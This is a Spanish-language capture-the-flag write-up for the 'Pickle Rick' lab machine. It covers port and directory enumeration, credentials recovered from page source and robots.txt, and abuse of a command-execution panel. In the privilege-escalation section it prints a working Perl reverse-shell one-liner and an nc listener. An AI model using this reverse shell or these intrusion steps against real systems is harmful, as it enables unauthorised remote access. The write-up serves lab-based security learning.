**Informe Profesional: CTF en la máquina "Pickle Rick"**

**Resumen:**

En este informe se detallan las actividades y hallazgos realizados durante la participación en la CTF (Capture The Flag) en la máquina "Pickle Rick". Se presenta un resumen de los resultados obtenidos, los métodos utilizados y los hallazgos relevantes que han contribuido al avance en la CTF.

1. **Información de la máquina "Pickle Rick":**

Dirección IP: 10.10.71.95

Puertos abiertos:

* 22/tcp: SSH (OpenSSH 7.2p2 Ubuntu 4ubuntu2.6)
* 80/tcp: HTTP (Apache httpd 2.4.18)

***Comandos:***

* ***nmap -A <ip>***
* ***nmap -sS -sV <ip>***

1. **Descubrimiento inicial:**

Al visitar la página web en la dirección http://10.10.71.95/, se encontró un mensaje solicitando ayuda para encontrar los ingredientes secretos para revertir la transformación en un pepinillo.

Se obtuvo el nombre de usuario "R1ckRul3s" mediante el examen del código fuente de la página.

1. **Exploración de rutas y archivos:**

Se utilizó la herramienta Gobuster para buscar rutas y archivos ocultos.

Se encontraron las siguientes rutas:

* "/.hta", "/.htaccess" y "/.htpasswd" con acceso prohibido (código de estado 403).
* "/assets" que redirige a "http://10.10.71.95/assets/".
* "/index.html" con código de estado 200 OK.
* "/robots.txt" con contenido "Wubbalubbadubdub", que se consideró una posible contraseña.

Ademas se utilizo el comando nmap -p 80 --script http-enum 10.10.71.95 con el cual descubrimos una nueva ruta como /login.php

***Comandos:***

* ***gobuster dir -u http://<IP>/ -w /usr/share/wordlists/dirb/common.txt***
* ***nmap -p 80 --script http-enum 10.10.71.95***

1. **Acceso al panel de administración:**

Se ingresó al panel de administración en "/login.php" utilizando el nombre de usuario "R1ckRul3s" y la contraseña "Wubbalubbadubdub".

Se obtuvo acceso al panel "/portal.php" donde se podían ejecutar comandos.

1. **Escalada de privilegios:**

Se identificó que el intérprete Perl se encuentra en "/usr/bin/perl" mediante comandos como "which nc", "which python" y "which perl".

Se utilizó un generador de reverse shell para crear un comando Perl que establece una conexión de shell inversa con la máquina atacante.

Se pegó el comando Perl en el panel y se ejecutó con éxito.

Se estableció una conexión de shell inversa con la máquina "Pickle Rick" utilizando el comando "nc -lvp 4444" en la máquina atacante.

***Comandos:***

* ***which perl***
* ***perl -e 'use Socket;$i="10.8.83.251";$p=4444;socket(S,PF\_INET,SOCK\_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr\_in($p,inet\_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'***
* ***nc -lvp 4444***

1. **Resultados y conclusiones:**

Con el acceso obtenido mediante el reverse shell, se logró escalar privilegios y obtener un mayor control sobre la máquina "Pickle Rick".

Esto permitió realizar acciones que antes no eran posibles debido a las limitaciones de permisos.

Se recomienda continuar explorando la máquina, buscar pistas adicionales y elementos relevantes para encontrar los ingredientes secretos necesarios para completar la CTF.

1. **Recomendaciones adicionales:**

* Mantener una documentación detallada de los pasos y acciones realizadas durante la CTF para facilitar el seguimiento y análisis posterior.
* Realizar una enumeración exhaustiva de puertos y servicios para identificar posibles vulnerabilidades adicionales.
* Utilizar herramientas y técnicas de seguridad adecuadas para asegurar el entorno de la máquina atacante y proteger la integridad y confidencialidad de los datos.

Este informe presenta un resumen de los hallazgos y actividades realizadas hasta el momento en la CTF en la máquina "Pickle Rick". Se espera que esta información sea útil para futuros análisis y para continuar progresando en la CTF.

**Nota:** Es importante tener en cuenta que las acciones realizadas durante una CTF deben ser éticas y estar dentro de los límites legales y acordados en el contexto del evento o entorno en el que se esté llevando a cabo.